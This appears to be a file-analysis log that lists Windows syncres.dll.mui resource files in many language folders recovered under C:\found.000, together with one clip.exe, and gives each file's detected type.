[C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_4c9932ed5e24ef89\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2048ffe9b9aae7ba\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ga-ie_4a0c963a0c7bdc4a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9041dbb25f696501\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_34ac70ca714a821d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_or-in_709952c5d35e8bcd\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ga-ie_5461408c40dc9e45\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9a96860493ca26fc\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_b036c96ecf21f919\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_a5e21f1c9ac1371e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_7b3c07d16f86f6aa\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_8590b223a3e7b8a5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_09432f3423ed71a8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_e6cd5628750eaa10\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kn-in_d9f6d7ffd498e52a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_c4958fdaab71ca8f\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_0b7a1cda22815553\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_ceea3a2cdfd28c8a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_dc78abd640ade815\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kn-in_e44b825208f9a725\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_15cec72c56e2174e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_bb3b9ffc43d4c527\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_c5904a4e78358722\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_1397d986584e33a3\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gl-es_5a20110c3d37aa7e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_2ceffacfec970aeb\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gl-es_4fcb66ba08d6e883\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_1b1810594f44477a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_229b507db83648f0\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_164a8292c44aaf79\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_c283c3aeacce7c0a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_0bf5d8408fe9ed7e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_256cbaab83a50975\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_ccd86e00e12f3e05\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_1f36c90ca230e16b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_14e21eba6dd01f70\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_4853b85a1dcfee1b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_70168e91317ac39f\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_203304f1b9bb8620\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_ce1df00c729a023f\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_5a8548caaab17ad5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_7a92200a5b164ca5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_7a6b38e365db859a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_84e6ca5c8f770ea0\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_2a87af43ee1c481b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "data"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_3aca472e4f581416\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_08c01e3091f0e9be\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_50309e787650b8da\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_30759cdc1af7521b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_f1e6306769cb4caf\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_c3c945ba3e394044\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_fc3adab99e2c0eaa\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_1314c882c651abb9\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_3dff0e07e96f2c20\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_6db0116d6772e19f\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_6d006ec6436999e9\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_24ddc44fb6c143a2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_0a1abb2891050c0a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_fb1ababb9ee042b2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_a0bd35ee8fcab2ad\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_e84e7b1b3fcd2927\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_62abc4740f08d7ee\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_275075b05dddf43a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_430003654a8ac792\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_d6650909d6f12c16\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_f2a3256d742deb22\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_96688b9c5b69f0b2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_4d54adb77eeb898d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_0b1408d4907a7da2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_146f657ac565ce05\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_f0c610696a7f80b7\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_2f326ea1eb22059d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_fdbfcfcd2f801921\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_1568b326c4db3f9d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_1efedf2bba7e24b8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_1cfbcb5e297d323f\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_2953897deedee6b3\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_e0b9b35c0b51ee11\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_635b671b33121fa4\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_96f678addf9127e8\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_1de673af4d7ede29\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3381016751e1ae42\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_cebf3ceb22ae5560\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_c62186f43ccc23a5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_75594e685e635a3e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_rw-rw_5dbb02daa8aa7e95\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_804a91c0c5235306\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_37a50ba74f401efa\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_5e844e51aeccf058\syncres.dll.mui]- [targetUID: 00000000-00005728] "clip.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-clip_31bf3856ad364e35_10.0.17134.1_none_8d5c6e74852bd57a\clip.exe]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_2a5ccab3ee3c515b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2d7ddbbf7e732311\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2329316d4a126116\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_f8e87ecba0554800\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_a14b230013f1e9e3\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_20082061b9db8f60\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5ced9456a92c3da5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_c46a9298ee4d9365\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_ee93d4796bf48605\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_fc0899039e462fcf\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3dd5abb98642703d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_283b1e0181dfa024\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_f1b3eeb169e56dd4\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_d0763146712ce5a0\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_41f9b5f983a0e0f5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_rw-rw_536658887449bc9a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5298ea0474cb7baa\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-ba_582e7a09b2cab0f6\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_542fa3ff7a6c2e5d\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_fc1ed8539e354486\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_f1ca2e0169d4828b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_8a9f3c12f9841501\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_7fadf8ba92c41c39\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: 